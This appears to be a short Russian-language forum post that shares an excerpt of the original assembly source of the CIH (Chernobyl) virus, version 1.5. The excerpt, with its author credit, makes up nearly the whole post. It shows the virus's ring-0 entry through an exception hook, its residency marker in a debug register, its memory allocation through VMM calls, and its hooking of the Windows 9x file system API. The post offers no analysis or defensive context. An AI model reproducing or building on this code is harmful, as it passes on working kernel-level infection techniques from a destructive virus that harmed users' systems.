[Red Caption]

Если речь идет о CIH 95 то могу принести маленький пример на асме из оригинального кода

Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net *
; * Modification Time : 06/01/1998 Version : 1.5 *
; * *
; * Turbo Assembler Version 5.0 : Tasm /m cih *
; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe

Код:

pop	ebp
                        push    00401000h       ; Push Original
OriginalAddressOfEntryPoint	=	$-4	; App Entry Point to Stack
                         ret     ; Return to Original App Entry Point

; *********************************************************
; *             Ring0 Virus Game Initial Program          *
; *********************************************************

MyExceptionHook:
@2			=	MyExceptionHook
			jz	InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !?    *
; *************************************

			mov	ecx, dr0
			jecxz	AllocateSystemMemoryPage
			add	dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program   *
; *************************************

ExitRing0Init:
			mov	[ebx-04h], bp	;
			shr	ebp, 16		; Restore Exception
			mov	[ebx+02h], bp	;
			iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

			mov	dr0, ebx	; Set the Mark of My Virus Exist in System
			push	00000000fh	;
			push	ecx		;
			push	0ffffffffh	;
			push	ecx		;
			push	ecx		;
			push	ecx		;
			push	000000001h	;
			push	000000002h	;
			int	20h		; VMMCALL _PageAllocate
_PageAllocate		=	$		;
			dd	00010053h	; Use EAX, ECX, EDX, and flags
			add	esp, 08h*04h
			xchg	edi, eax	; EDI = SystemMemory Start Address
			lea	eax, MyVirusStart-@2[esi]
			iretd	; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook   *
; *************************************

InstallMyFileSystemApiHook:

			lea	eax, FileSystemApiHook-@6[edi]

			push	eax  ;
			int	20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =       $
			dd      00400067h	; Use EAX, ECX, EDX, and flags
			mov	dr0, eax	; Save OldFileSystemApiHook Address
			pop	eax	; EAX = FileSystemApiHook Address
			; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
			mov	ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
			mov	edx, [ecx]
			mov	OldInstallFileSystemApiHook-@3[eax], edx
			; Modify IFSMgr_InstallFileSystemApiHook Entry Point
			lea	eax, InstallFileSystemApiHook-@3[eax]
			mov	[ecx], eax
			cli
			jmp	ExitRing0Init

; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************

CodeSizeOfMergeVirusCodeSection		=	offset $

; *********************************************************
; *             IFSMgr_InstallFileSystemApiHook           *
; *********************************************************

InstallFileSystemApiHook:
			push	ebx
			call	@4	;
@4:					;
			pop	ebx	; mov ebx, offset FileSystemApiHook
			add	ebx, FileSystemApiHook-@4	;
			push	ebx
			int	20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook	=	$
			dd      00400068h	; Use EAX, ECX, EDX, and flags
			pop	eax
			; Call Original IFSMgr_InstallFileSystemApiHook
			; to Link Client FileSystemApiHook
			push	dword ptr [esp+8]
			call	OldInstallFileSystemApiHook-@3[ebx]
			pop	ecx
			push	eax
			; Call Original IFSMgr_InstallFileSystemApiHook
			; to Link My FileSystemApiHook
			push	ebx
			call	OldInstallFileSystemApiHook-@3[ebx]
			pop	ecx
			mov	dr0, eax	; Adjust OldFileSystemApiHook Address
			pop	eax
			pop	ebx
			ret